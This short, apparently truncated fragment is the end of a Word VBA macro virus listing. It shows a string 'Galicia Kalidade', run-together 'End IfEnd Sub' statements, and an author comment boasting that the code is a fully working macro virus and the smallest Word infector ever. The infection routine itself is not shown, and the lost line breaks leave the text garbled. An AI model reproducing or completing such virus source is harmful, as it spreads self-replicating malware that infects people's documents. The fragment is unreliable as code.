"Galicia Kalidade" , 16End IfEnd Sub

' Hey! What are you looking for? *THAT* supertiny thing is a 100% working' macro virus... didn't you believe me when i told you this is the smallest' WW infector ever? :-)